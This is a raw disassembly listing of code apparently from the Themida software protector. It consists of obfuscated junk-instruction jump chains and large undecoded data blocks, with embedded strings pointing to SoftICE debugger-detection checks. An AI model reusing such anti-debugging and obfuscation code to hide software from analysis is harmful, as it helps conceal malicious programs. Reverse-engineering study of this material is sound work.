		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_57369D
; ---------------------------------------------------------------------------
a0FzaM		db '0×fZ€ÆŒ',0
		dd 8CEE80FEh, 0FF1010E9h, 0D8005BFFh, 6963E952h, 0EA81FFFFh
		dd 2B9442C5h, 0FEF806E9h, 14875DFFh, 0BE565C24h, 2, 348BF57h
		dd 0F78146C0h, 1835761Bh, 27F2F781h, 81470FAEh,	0B7FE6BC7h
		dd 0E9F901E6h, 0FFFFC2BBh, 4BD55h, 0B6E90000h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57667F:				; CODE XREF: Themida_:005705FFj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56E8BD
; ---------------------------------------------------------------------------
		dd 44822DADh, 552D22E2h, 54D2146h, 79502CDCh, 0FFFB85E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5766A9:				; CODE XREF: Themida_:00563C62j
		pop	edx
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 5A596D30h
		mov	edx, 98EC7177h
		add	edx, ebx
		jmp	loc_562FC3
; ---------------------------------------------------------------------------
		dd 0FDE9F7B6h
		db 2Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5766CB:				; CODE XREF: Themida_:00568D55j
		mov	ecx, [esp]
		jmp	loc_56B8D7
; ---------------------------------------------------------------------------


loc_5766D3:				; CODE XREF: Themida_:0056960Bj
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 7
		jmp	loc_56A70B
; ---------------------------------------------------------------------------
		dd 0C0B60F5Dh, 688734FFh, 204Ch, 0BD242C89h, 3FCh, 0FFB4D6E9h
		dd 16C281FFh, 811A3679h, 7E92C3C2h, 5AD02921h, 52E3548h
		dd 0C689A363h, 0FEFF71E9h, 0AEA0BFFFh, 0C4E95C24h, 5BFFFFB8h
		dd 0D442E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57672A:				; CODE XREF: Themida_:00563D77j
		pop	dword ptr [esp]
		pop	esp
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		push	5470h
		mov	[esp], ecx
		push	110Bh
		jmp	loc_565963
; ---------------------------------------------------------------------------


loc_576746:				; CODE XREF: Themida_:00567C16j
		pop	esp
		mov	[esp], eax
		push	0
		mov	eax, [esp]
		add	esp, 4
		mov	[edi+24h], eax
		mov	eax, [esp]
		push	ebx
		jmp	loc_56D43F
; ---------------------------------------------------------------------------
		db 58h,	87h, 1Ch
		dd 0AD9AE924h, 0B551FFFFh, 59EF30FBh, 0FF9FA0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_576775:				; CODE XREF: Themida_:005709FFj
		not	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, 0DD8BD7E4h
		sub	edx, 16D068Dh
		add	edx, 43624E8Ah
		sub	edx, ebp
		sub	edx, 43624E8Ah
		jmp	loc_576408
; ---------------------------------------------------------------------------
		dd 0FC00DEB7h, 0E2885B66h, 0FFA397E9h, 245401FFh, 0C7E95A08h
		dd 1FFFF48h, 240C8BCDh,	6804C483h, 2B18h, 0B8240489h, 4
		dd 6858C529h, 3AA3h, 0FF8335E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5767D1:				; CODE XREF: Themida_:00561E9Cj
		add	esp, 4
		dec	cl
		jmp	loc_56B0CB
; ---------------------------------------------------------------------------
		db 81h
		dd 0BBEBB0C3h, 5BDF0158h, 0FF393EE9h, 65E953FFh
		db 75h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5767EF:				; CODE XREF: Themida_:005689F3j
		add	esp, 4
		shl	ebx, 6
		jmp	loc_5732DC
; ---------------------------------------------------------------------------
		db 51h,	83h, 0ECh
		dd 24348904h, 4BEh, 5EF18900h, 4244C01h, 24148B59h, 8304C483h
		dd 0C8904ECh, 83A9E924h, 0C483FFFFh, 0E0C1E904h, 32FFFFFFh
		dd 0FEA811E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_576831:				; CODE XREF: Themida_:0056178Ej
		pop	edx
		xchg	edi, [esp]
		pop	esp
		push	edx
		push	ecx
		mov	ecx, 54506698h
		dec	ecx
		sub	ecx, 343B2430h
		mov	edx, ecx
		jmp	loc_574627
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24148900h, 15E9E289h, 81FFFF6Ah, 0E61223E9h, 80C18143h
		dd 29614077h, 3EBD55D9h, 6848314Dh, 1848h, 0E9240C89h
		dd 0FFFF218Ah, 148BD301h, 4C48124h, 81000000h, 525196C3h
		dd 0D929E91Dh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_576892:				; CODE XREF: Themida_:0056CD13j
		not	edx
		and	edx, 1EC82322h
		jmp	loc_5719C1
; ---------------------------------------------------------------------------
		db 52h
		dd 268h, 24148B00h, 0FEFBD7E9h,	0AB0F66FFh, 0E99C2404h
		dd 0FFFEA78Ah, 587068h,	24148900h, 0C281E289h, 4, 4EC81h
		dd 4890000h, 0BCCEE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5768D6:				; CODE XREF: Themida_:0056E6DEj
		add	[esp+4], edx
		add	dword ptr [esp+4], 687A7C7Eh
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_56E5B1
; ---------------------------------------------------------------------------
		db 83h
		dd 0C52D04C4h, 681E0A49h, 2661h, 0E9241489h, 0FFFF836Dh
		dd 68E9E289h, 53FFFF5Ch, 42474FFh, 0FFE3F1E9h, 8BD821FFh
		dd 35E9241Ch
		db 1Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_576923:				; CODE XREF: Themida_:00572CCCj
		push	223E1414h
		pop	ecx
		shl	ecx, 2
		shr	ecx, 7
		jmp	loc_56DDDC
; ---------------------------------------------------------------------------


loc_576934:				; CODE XREF: Themida_:00570124j
		xchg	eax, [esp]
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebx, edi
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_567269
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 7Bh
		dd 1014512h, 81595BDAh,	0CEF5DEAh, 0E9D7295Eh, 0FFFEE0CDh
; ---------------------------------------------------------------------------


loc_576964:				; CODE XREF: Themida_:0056179Cj
		push	5328h
		mov	[esp], eax
		push	ebx
		mov	bh, 59h
		sub	bh, 4Eh
		xor	bh, 6Dh
		mov	ah, bh
		pop	ebx
		sub	ah, 3Dh
		jmp	loc_562E32
; ---------------------------------------------------------------------------
		dd 0C6E9CA01h
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_576987:				; CODE XREF: Themida_:0056F543j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5676C3
; ---------------------------------------------------------------------------


loc_576992:				; CODE XREF: Themida_:0056AE94j
		add	eax, esi
		pop	esi
		jmp	loc_56E1C8
; ---------------------------------------------------------------------------


loc_57699A:				; CODE XREF: Themida_:005720E4j
		pop	ebx
		jmp	loc_56A3CD
; ---------------------------------------------------------------------------
		dd 0CAE9E189h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5769A7:				; CODE XREF: Themida_:00572345j
		pop	ebx
		xor	al, 87h
		push	small 11BCh
		jmp	loc_564A85
; ---------------------------------------------------------------------------
		db 0BFh
		dd 7A861E20h, 0FF0D40E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5769BD:				; CODE XREF: Themida_:0056B650j
		push	ebx
		sub	dword ptr [esp], 0FFFFFFFFh
		jmp	loc_574701
; ---------------------------------------------------------------------------


loc_5769C7:				; CODE XREF: Themida_:0056906Aj
		add	[esp+4], eax
		jmp	loc_56E22A
; ---------------------------------------------------------------------------
		dd 0E904E3C1h, 0FFFEE534h
; ---------------------------------------------------------------------------


loc_5769D8:				; CODE XREF: Themida_:00574D2Dj
		mov	ecx, [esp]
		jmp	loc_5671A0
; ---------------------------------------------------------------------------
		dd 8B5BDC88h, 0C481240Ch, 4, 595C68h, 0B68EE900h, 47E9FFFEh
		dd 81FFFEA6h, 4C2CCCCAh, 0C2DEE933h, 685BFFFFh,	328Bh
		dd 0FF241489h, 8B042474h, 0E9562414h, 0FFFFAF54h, 1F168h
		dd 243C8900h, 0FECD8BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_576A29:				; CODE XREF: Themida_:00564255j
		sub	eax, 33654521h
		pop	esi
		jmp	loc_56ABCF
; ---------------------------------------------------------------------------
		dd 5224048Bh, 0C281E289h, 4, 4BD55h, 0EA010000h, 0FFFBFCE9h
		dd 243489FFh, 4BEh, 0E9F20100h,	6Ah, 0C381FB01h, 0B1E07A7h
		dd 7A4568h, 0E63BE900h,	34FFFFFFh, 2924E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_576A76:				; CODE XREF: Themida_:005700BEj
		add	esp, 4
		push	ecx
		push	ebx
		mov	ebx, ebp
		jmp	loc_5625FC
; ---------------------------------------------------------------------------
		dw 0F829h
		dd 81243C8Bh, 4C4h, 93CBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_576A92:				; CODE XREF: Themida_:00566E6Cj
		mov	ebx, 65545506h
		add	ecx, ebx
		pop	ebx
		push	ebp
		jmp	loc_5763A7
; ---------------------------------------------------------------------------
		dd 8B59CC88h, 0A3E9241Ch, 89FFFFCFh, 1D0D5FF8h,	0F7300F75h
		dd 1D610DD8h, 0C20514BFh, 16139AAh, 0BA5AE9C7h,	875EFFFFh
		dd 835C2414h, 535004C4h, 567D5B68h, 0E94B5B23h,	0FFFF1643h
; ---------------------------------------------------------------------------


loc_576ADC:				; CODE XREF: Themida_:0056AD1Ej
		mov	[esp], esi
		mov	esi, 166B0395h
		sub	eax, 0C6053Fh
		jmp	loc_56EC57
; ---------------------------------------------------------------------------


loc_576AEE:				; CODE XREF: Themida_:005686E8j
		push	ebx
		jmp	loc_56587B
; ---------------------------------------------------------------------------
		dd 3C32C381h, 34E91353h, 31FFFEDEh, 1C33241Ch, 24248B24h
		dd 4BB0F66h, 9AE99C24h
		db 9Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_576B13:				; CODE XREF: Themida_:00563CAAj
		add	ebp, eax
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_56BF8B
; ---------------------------------------------------------------------------


loc_576B26:				; CODE XREF: Themida_:0057089Fj
		push	edx
		push	235203E8h
		mov	edx, [esp]
		jmp	loc_561F5E
; ---------------------------------------------------------------------------
		dd 53E9h, 0E5572C00h, 45535515h, 2E323352h, 6C6C64h, 41564441h
		dd 32334950h, 6C6C642Eh, 44544E00h, 642E4C4Ch, 0D7006C6Ch
		dd 1000A07h, 7001D00h, 9000200h, 22200h, 7 dup(0)
		dd 8F0E9h, 0A4DE6800h, 0ECE907E2h, 68FFFDDCh, 7E2A55Eh
		dd 0FDDCE2E9h, 0A69868FFh, 0D8E907E2h, 68FFFDDCh, 7E2A800h
		dd 0FDDCCEE9h, 0A85868FFh, 0C4E907E2h, 68FFFDDCh, 7E2A95Fh
		dd 0FDDCBAE9h, 0A9C868FFh, 0B0E907E2h, 56FFFDDCh, 0C89AB46Eh
		dd 3D0F29E1h, 0B486A058h, 27F913CBh, 1C718B45h,	0E29C7EB3h
		dd 5812F6C8h, 0D1896C3Eh, 45FFE5B7h, 3D604B2Bh,	21D7FD74h
		dd 0C6FE980Ah, 484E08ECh, 0A1690D6h, 73F3162Dh,	0F52E5AA5h
		dd 10EAEDA2h, 286B7129h, 0E880B5AEh, 4D05EEC8h,	0E2DF347h
		dd 72DAD4F7h, 499C5020h, 2407E144h, 0E12666Ch, 5C401A31h
		dd 1A3D9CA2h, 548063ABh, 82C1D82Bh, 8094525Fh, 0B6802C4Bh
		dd 0B682A028h, 0A0666A15h, 4B2ECA6Fh, 5A349399h, 862B4E74h
		dd 0F04B8094h, 4B05EB9Dh, 8DA44F46h, 0E13CDB3h,	0DDAF1117h
		dd 57643DF7h, 0ECC46D35h, 737D503h, 21090000h, 947B4D67h
		dd 0BF0C2DCh, 7E673953h, 0F8DAACC6h, 0E6CF243Eh, 7B954F31h
		dd 0F10BC5A9h, 6A843C1Fh, 0DEF8B298h, 0C1F013FEh, 0BD21D7FCh
		dd 452BB14Bh, 0F723868Bh, 62C06986h, 0DB2F35C1h, 0A0DFF635h
		dd 10733E61h, 0B80B29BAh, 71AF6FB2h, 3D692E57h,	0BFD25F78h
		dd 94782A25h, 0D8DED5DAh, 754F66B9h, 0EEC0DA92h, 504E530Bh
		dd 9021446Ah, 0E621D7EBh, 80FE893h, 0A1EE15DEh,	6B78AB8h
		dd 0A1890000h, 14FBCDE7h, 8B70425Ch, 0FEE7B9D3h, 785A2C46h
		dd 664FA4BEh, 0FB15CFB1h, 718B4529h, 0EA04BC9Fh, 5E783218h
		dd 4170937Eh, 3D21D7FCh, 0ECC631CBh, 81F5F607h,	84C313CFh
		dd 84CFD5D9h, 0A2227D77h, 2BCA29Ch, 5F19FFFDh, 0F0CAE55Ah
		dd 0D64B5109h, 239ECA79h, 83495D8Dh, 90954F33h,	0E2E8EE99h
		dd 543412A4h, 8ECFh, 0ECC61900h, 4D474D05h, 0BC96AD67h
		dd 258CAFD3h, 5129BAA1h, 0BFA153FEh, 3090005h, 0CBE2A7A1h
		dd 6B29BAA0h, 0A0A8092Ch, 7BCE29BAh, 0DB957B75h, 0AC8B95C1h
		dd 7E335695h, 0F829BAA0h, 5803BB9Eh, 0DAB4F352h, 41383DF5h
		dd 0D542F83Bh, 0E93C2E5Ah, 5D15F8D2h, 462D0746h, 9792898Eh
		dd 21DA2D1Ah, 0A90B1164h, 0A4D0F4D7h, 7DAC8B4h,	1A9792F7h
		dd 2421DA65h, 0DA64B001h, 9C73C621h, 48879E49h,	0DA648C25h
		dd 999FF221h, 5BF1E4Ch,	2BB40000h, 23868B45h, 0A0F0C1E4h
		dd 338629BAh, 0F837D92Dh, 9174BEE1h, 0B70A2E5Ah, 2BE5CB9Dh
		dd 0FC3BE511h, 0D267C2E5h, 0CC1F2677h, 40F8DBB5h, 0B9715426h
		dd 16D0B6B4h, 35BBBC3Dh, 0C2F0D9E6h, 57Dh, 721DBC3h, 7C964E35h
		dd 0F30DC5AAh, 66803821h, 0DEF8B294h, 9EB2089h,	7F63354Fh
		dd 0F6D9ABC5h, 6C52243Eh, 0CDB898B2h, 0D7FB07AAh, 63FD6F21h
		dd 0DA32452Bh, 1AD4B6D4h, 7C26E916h, 466F4265h,	0B40729BAh
		dd 62A10409h, 0BA46723Fh, 0B3B90C29h, 1419D3B9h, 7E116E9Fh
		dd 29BA483Ch, 7F3B677Eh, 7CC0CF3Fh, 0AC69486Bh,	0C21529B9h
		dd 0DC0B1117h, 0F954341Fh, 0FFFFFED6h, 8B452B43h, 45E22E86h
		dd 0B9330B2Eh, 0AB852E5Ah, 3081A4C8h, 4621DA86h, 234248F3h
		dd 86704164h, 5A0621DAh, 0D5A30AF9h, 90A752F9h,	0DA61446Dh
		dd 3CE73A21h, 89ACEB22h, 21DA6128h, 0A1F5FB4Eh,	86A9C07Fh
		dd 267A7778h, 43A6ABFEh, 0C8CD8769h, 2688CBD1h,	1729BA4Bh
		dd 0C70359B6h, 155434B0h, 0E17CD9E9h, 0DEE42BD3h, 1605Ah
		dd 0BFB3A400h, 0F70E2DF3h, 5AA592D4h, 6A81D42Eh, 0EEF4AE90h
		dd 0B5CC0AF1h, 2BF5E880h, 0DCB6F50Ch, 995337F8h, 0EDF29D94h
		dd 1ADF0F6h, 37502073h,	179EE70Bh, 0A2A89B37h, 0C82B3083h
		dd 0C54B6689h, 0E0334FDFh, 9D9A86DAh, 0BC626386h, 91E4547Fh
		dd 0C3984E7Ah, 923A3792h, 6D532D8Ch, 5D0FC7ACh,	0FA14BF79h
		dd 506184C3h, 264B7FD6h, 8275587Ah, 48F37AA0h, 0A8624842h
		dd 6DED64CFh, 5E8C75C4h, 415h, 6F89432Bh, 0E4FEB69Dh, 5B752D12h
		dd 0CEE8A089h, 46601AFCh, 7153C8F1h, 0E7CB9DB7h, 5E41132Dh
		dd 0D4BA8CA6h, 3520001Ah, 0D7F89F12h, 0CB65D721h, 0D9F04FD1h
		dd 580260B6h, 6C83D62Eh, 0DDF7AF92h, 30EACCA6h,	954D302Ah
		dd 0F2AC9290h, 15CBB419h, 0B2E0C9EEh, 3BDh, 0C7E19B83h
		dd 3C560EF5h, 0B3CD856Ah, 2640F8E1h, 9EB87254h,	0C9AB6049h
		dd 3F23F50Fh, 0B6996B85h, 2C12E4FEh, 8D785872h,	0D7F9476Ah
		dd 23BD2F21h, 0A284452Bh, 5D80E3E8h, 29BAA154h,	812CD72Ah
		dd 5A3F197Ch, 0A0A69DA2h, 106C0A6h, 63682003h, 0C1C67E65h
		dd 70B31059h, 26B91647h, 29BAA294h, 9F2A87AAh, 15429BAh
		dd 0E8699856h, 1B865434h, 0D0FFFFFDh, 868B452Bh, 2E45E22Eh
		dd 5AB89F0Bh, 6C86D92Eh, 0EEB2B372h, 0CBEE0522h, 2E5AA59Bh
		dd 0EED58ADDh, 79CDCAB9h, 0AE90947Ch, 494E06EDh, 0ABA2A752h
		dd 0D0AAE900h, 8F492DEEh, 0E2E8DFE4h, 631A0F9Fh, 694F297Eh
		dd 0AFB3AAAFh, 60E3CD4Bh, 52717773h, 7EA2FAFFh,	0DE7F3255h
		dd 9DF781A2h, 5FC01BBh,	9120435Ah, 0ED81A2DEh, 0B5D8EF9Ah
		dd 8642D610h, 904A2C86h, 0EF4CEE5h, 0C4033A54h,	0C2A610A1h
		dd 0D136679h, 9A732D13h, 962B233Bh, 0B63D6B54h,	8A000002h
		dd 0FCCEE8A2h, 71435D15h, 0E8BAD48Ch, 5B2D47FFh, 50A5BF79h
		dd 16D0B267h, 8C462AFCh, 5BDA072h, 793319EBh, 71947F5Fh
		dd 21D7F840h, 0D12AC436h, 0B6D9F04Fh, 2E58024Ah, 0D78F76D0h
		dd 36F0D4D2h, 0E48F3A31h, 530DF3CDh, 0F251574Eh, 637D3518h
		dd 0DFF6AE91h, 62682005h, 77311715h, 15CB459Eh,	4B7962EEh
		dd 24Dh, 37510BF3h, 0ACC67E65h,	233DF5DAh, 96B06851h, 0E28E2C4h
		dd 391B10B9h, 0AF93657Fh, 2609DBF5h, 9C82546Eh,	0FDE8C8E2h
		dd 0D7F7D7DAh, 932D9F21h, 61844FD1h, 29BAA150h,	99BCD326h
		dd 29BAA118h, 49600B5Eh, 5801DA26h, 0F60D602Eh,	0C0A7AECAh
		dd 6D73002Ch, 8D4E340Eh, 2D47F2AAh, 11351CF6h, 0D82FC3EEh
		dd 0BD68BB21h, 67BBC1B8h, 43667DB8h, 21D83078h,	53B6BB0Eh
		dd 0FFB2D514h, 7721D82Fh, 2F882924h, 42EE21D8h,	0D3D7C075h
		dd 309B478h, 7F662709h,	0F779385Bh, 0B20521D7h,	600B0207h
		dd 3D1FF95Bh, 0D23D6983h, 23FD3C53h, 49322A3Dh,	421DF7FCh
		dd 94429297h, 4E7CB698h, 2B6E741Fh, 21D88F8Eh, 6A4F29E8h
		dd 8FFAB7B2h, 318421D8h, 8FBAF71Ah, 71C421D8h, 0DDC3C1C6h
		dd 0E2BC1E23h, 562842FCh, 3BB1B670h, 0FBB59973h, 570FF8F6h
		dd 0B6705452h, 3F82DF0Ch, 0DD2F8479h, 0B3AEE4F7h, 366C18E0h
		dd 4044A941h, 8833E36Ch, 0FCB69C6Eh, 5D17F9F7h,	4AA7F058h
		dd 46601A00h, 0EDD19274h, 0D838833h, 0D62571Dh,	0DF977C56h
		dd 43FDDFD9h, 0BB755729h, 1DD5B8B6h, 0DF0B2218h, 563BB4BDh
		dd 0B6349A9Eh, 1217CFB8h, 3659701Bh, 21D7F67Bh,	35AAB003h
		dd 0F2AC8ED8h, 662006D8h, 1B591A61h, 0A1CE89E7h, 1E69954Ch
		dd 0F5661032h, 3E9E3E9h, 6F583249h, 9201B3B7h, 0FCB68B3Dh
		dd 0DCC294F6h, 3D1F1D22h, 0EC0B7E83h, 729AC4C0h, 0D697047h
		dd 59011DF2h, 6CE1E792h, 25DFC517h, 9953390Bh, 57D43C94h
		dd 0C8826640h, 67C6CCC3h, 0C9267244h, 0AAC1146Eh, 1669486Bh
		dd 0C2157149h, 0E22E5ABCh, 2F0B2E45h, 4975E677h, 0B48EF1F6h
		dd 140E14CEh, 0C9886D2Eh, 31282DE7h, 0DF8A8186h, 0CEB48EC5h
		dd 2E140E14h, 78CCE508h, 0F2D76A27h, 673E353Ah,	0C16C240Dh
		dd 6B70280Fh, 7DC4C974h, 7C2A32C2h, 0C5EB3E8h, 80526C26h
		dd 78DBE09Ah, 0FB01B99Eh, 5B601801h, 91DB3865h
		dd 5BBF98ABh, 0AA7480C9h, 383E52ECh, 15C06BF8h,	894329FBh
		dd 62472184h, 167AA4AAh, 0D3000000h, 19407194h,	0E3367C26h
		dd 2924BBDDh, 24DA0AFDh, 0F6FC686Dh, 89432BD4h,	0E6A08684h
		dd 4800E3E1h, 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h
		dd 25DDC2C0h, 833B2220h, 89566D7Eh, 4C681E6h, 83000000h
		dd 343304EEh, 24343124h, 5C243433h, 4EC81h, 4890000h, 4C376824h
		dd 2C890000h, 6AFC6824h, 34890000h, 7DEDBE24h, 0CE814C3Ah
		dd 38674F70h, 0FCF68146h, 811AB971h, 16940CEh, 17EE8117h
		dd 896FE4CBh, 0EC815EF0h, 4, 81242489h,	42404h,	685D0000h
		dd 6099h, 8F240489h, 2C8B0845h,	0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 5024048Bh, 405E089h, 83000000h, 48704C0h
		dd 8E95C24h, 0E0FFFDD4h, 0AC3AB840h, 0C50307E2h, 3E4CE0FFh
		dd 6FF215A7h, 36F94F70h, 50D401C3h, 0A3F66D4h, 58CE4CB4h
		dd 4BA87079h, 0A2937550h, 0D9CB010Ah, 43F93557h, 57D36357h
		dd 70A24D0Bh, 1AC54057h, 90F8456Eh, 0D0F11F1Ah,	6B073741h
		dd 0B55B3783h, 0C6610D8h, 0FA46A72h, 349166C6h,	0B2FE5434h
		dd 0CCBF715Ah, 90866710h, 0E8E3549Bh, 6A686BD5h, 6772340h
		dd 0F2CC76C5h, 3D202D33h, 930A64D9h, 190E1762h,	248757A8h
		dd 721C0C78h, 0FE87501h, 0F7000000h, 6901C12Fh,	0EACDBBC1h
		dd 0E399FE63h, 8B666BE5h, 870F5AD9h, 3,	8187DB80h, 617CC2h
		dd 0AE800h, 2BF30000h, 0C7F511DFh, 6D94D052h, 10E9h, 0A545AB00h
		dd 0CB382275h, 304962Ch, 0A8D33FCFh, 6EB95FFEh,	814DE0D1h
		dd 0E0B94AE9h, 32FFF84Dh, 0AE9h, 0FCABD400h, 0CB667826h
		dd 5EEEC0C2h, 81DABF0Fh, 16D1EEh, 0DE97Ch, 6ED90000h, 9751B6BFh
		dd 0A3260943h, 81E740B3h, 0A2B1BDC6h, 0F5F56031h, 0D2C68161h
		dd 0B8394082h, 27AEE059h, 4DDF8056h, 0D1BF028Fh, 812F53FFh
		dd 0EE20D0EAh, 21E88018h, 20CCC281h, 0F08118EEh, 2FD0424h
		dd 15850F49h, 0B3000000h, 2DE9DCh, 10AF0000h, 0F4992951h
		dd 6C1C7F03h, 2C393439h, 8D0Fh,	77E90000h, 7DFFFFFFh, 2E79BF97h
		dd 2062FC87h, 0D8DF1CC0h, 9218DF5Ch, 0E99ED492h, 8Dh, 39BD8360h
		dd 7E033h, 5840Fh, 78E90000h, 6A000000h, 303E8000h, 8850Fh
		dd 6A0000h, 35E946h, 3E800000h,	8850F33h, 6A000000h, 24E94610h
		dd 80000000h, 850F343Eh, 8, 0E946306Ah,	13h, 0F353E80h
		dd 885h, 46406A00h, 2E9h, 80006A00h, 850F203Eh,	12h, 17E80h
		dd 8850Fh, 0C4830000h, 15E908h,	858D0000h, 7E021E9h, 50905090h
		dd 6A243489h, 7195FF00h, 6107E02Fh, 5985C6C3h, 4D07E007h
		dd 28204A68h, 2404817Dh, 270D565Eh, 3085B5FFh, 858D07E0h
		dd 7E039F8h, 8589D0FFh,	7E02F71h, 5C5C1EEBh, 49535C2Eh
		dd 5C004543h, 535C2E5Ch, 49565749h, 5C5C0044h, 544E5C2Eh
		dd 454349h, 9D09C08Bh, 7E03245h, 6B1BD83h, 750007E0h, 0C5BD8309h
		dd 7E001h, 53501974h, 0FB8C08Bh, 89000004h, 0E020F585h
		dd 629D8D07h, 0FF07E2BCh, 83585BD3h, 0E001C5BDh, 17740007h
		dd 0FB85350h, 89000004h, 0E020F585h, 519D8D07h,	0FF07E2B9h
		dd 6A585BD3h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 0BE84C357h, 0C5EFD5DDh, 0F8D0BF0Fh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0F2C35646h
		dd 0B58981B3h, 7E030B5h, 2CE18166h, 6AC08B09h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 0BB00C355h, 10B52832h, 13558589h, 50BA07E0h,	0C6521B64h
		dd 0E0075985h, 840F4307h, 7, 18F0Fh, 68F80000h,	0BBD41EEDh
		dd 81FB8B66h, 500F2404h, 0C98000BAh, 1B5FF87h, 6A07E02Fh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0AA89C350h, 7AF4CAA0h, 8D89719Fh,	7E0102Dh
		dd 39F8858Dh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 95A243C3h, 3B3EFBB5h, 8B665753h
		dd 90D0FFD0h, 7E9h, 0B1F19A00h,	0EB139675h, 11E950h, 278E0000h
		dd 94FB9BE3h, 55AF742Eh, 60D22968h, 90AC2D3Bh, 6A2CF680h
		dd 0A1952B00h, 0F07E015h, 78Fh,	81665600h, 598073F2h, 4E8h
		dd 8000h, 506BB100h, 74346B9h, 24448B2Ch, 10860F04h, 0E9000000h
		dd 0Bh,	13564A30h, 39DACDABh, 8BF05E5Ah, 0D9BF6600h, 244489C5h
		dd 5843B604h, 2B019D89h, 36A07E0h, 6850Fh, 0BD030000h
		dd 7E0229Dh, 0BA66006Ah, 850FA07Ch, 3, 6AF6BF0Fh, 57006A03h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 94577D7h, 8077DD40h,	5B68CFD2h, 814D0684h, 7BA52404h
		dd 0B58B72F9h, 7E01CC1h, 0AF0E9D8Dh, 0B70F07E2h, 525050F6h
		dd 52505250h, 585A310Fh, 0CA8B310Fh, 310F585Ah,	0F525060h
		dd 66585A31h, 61C276BFh, 1C89585Ah, 6E924h, 29A50000h
		dd 9B4C6A95h, 0B529D0FFh, 7E019F5h, 1B850F40h, 0F000003h
		dd 38Ch, 0D7BF0F00h, 58CAB70Fh,	19A5B58Bh, 665007E0h, 89B446BAh
		dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0F27E78C3h, 820Fh, 6A0000h, 2E8D8D8Bh, 860F07E0h
		dd 0Eh,	8A0F60h, 8B000000h, 0E006519Dh,	6C686107h, 0B92BC723h
		dd 1E4ECEB7h, 0EC243481h, 312BC723h, 0E01AEDBDh, 0F036A07h
		dd 6ACEBFh, 21E19589h, 36A07E0h, 0E857006Ah, 3,	5FC35F20h
		dd 4247C89h, 4244481h, 15h, 17C35747h, 0B800F2Ch, 0F000000h
		dd 58Bh, 0F6816600h, 816696B5h,	0E8BF16F7h, 4, 0C0000000h
		dd 0C124BE60h, 0B460094Ch, 12E94Dh, 513F0000h, 0C129A97Eh
		dd 0AE54A47Bh, 897E316Bh, 54443865h, 8B506161h,	24448BCAh
		dd 8B81B604h, 0BABE6600h, 24448907h, 95035804h,	7E023D9h
		dd 0AF179D8Dh, 6A07E2h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0B58B02C3h, 7E026B1h, 50EF8A93h
		dd 11E8h, 0F1F7CC00h, 0BC60FDE4h, 5DA888A2h, 8266115Eh
		dd 7E884A6h, 0F1000000h, 59D17EC9h, 6160A8EBh, 6693595Fh
		dd 0FF5CF5BEh, 62DA80D0h, 0BF850F40h, 0E9000001h, 7, 0D5C3C4E3h
		dd 0F08A3F5h, 0E858CFB7h, 0Bh, 1307F957h, 67A6B74Ah, 81EE2050h
		dd 23CD72F2h, 0E8905E40h, 9, 9752ECF5h,	9075034Ah, 0BE916h
		dd 798E0000h, 0D1450F0Fh, 0D3C93C36h, 0E9505A32h, 0Fh
		dd 0B093BF31h, 50CAB4F3h, 5942704Dh, 90487DC6h,	0BC97E681h
		dd 0B58B335Ch, 7E02511h, 10E9006Ah, 64000000h, 0A08EDCDh
		dd 0F80EB566h, 4D394770h, 8B60413Fh, 0B8F768D6h, 880F491Fh
		dd 0
		dd 77243481h, 89491FB8h, 0E0001DB5h, 65B50907h,	6A07E022h
		dd 52006A03h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 8E989h, 78700000h, 0E7DE9D80h, 6AC4C9h
		dd 0CE9h, 6F705000h, 2759E539h,	0C249FC84h, 0F036AC6h
		dd 188h, 2A68FC00h, 0F918E95h, 0D83h, 0B9525000h, 236FD6ABh
		dd 6160310Fh, 3481585Ah, 8E952A24h, 68A0F51h, 8B000000h
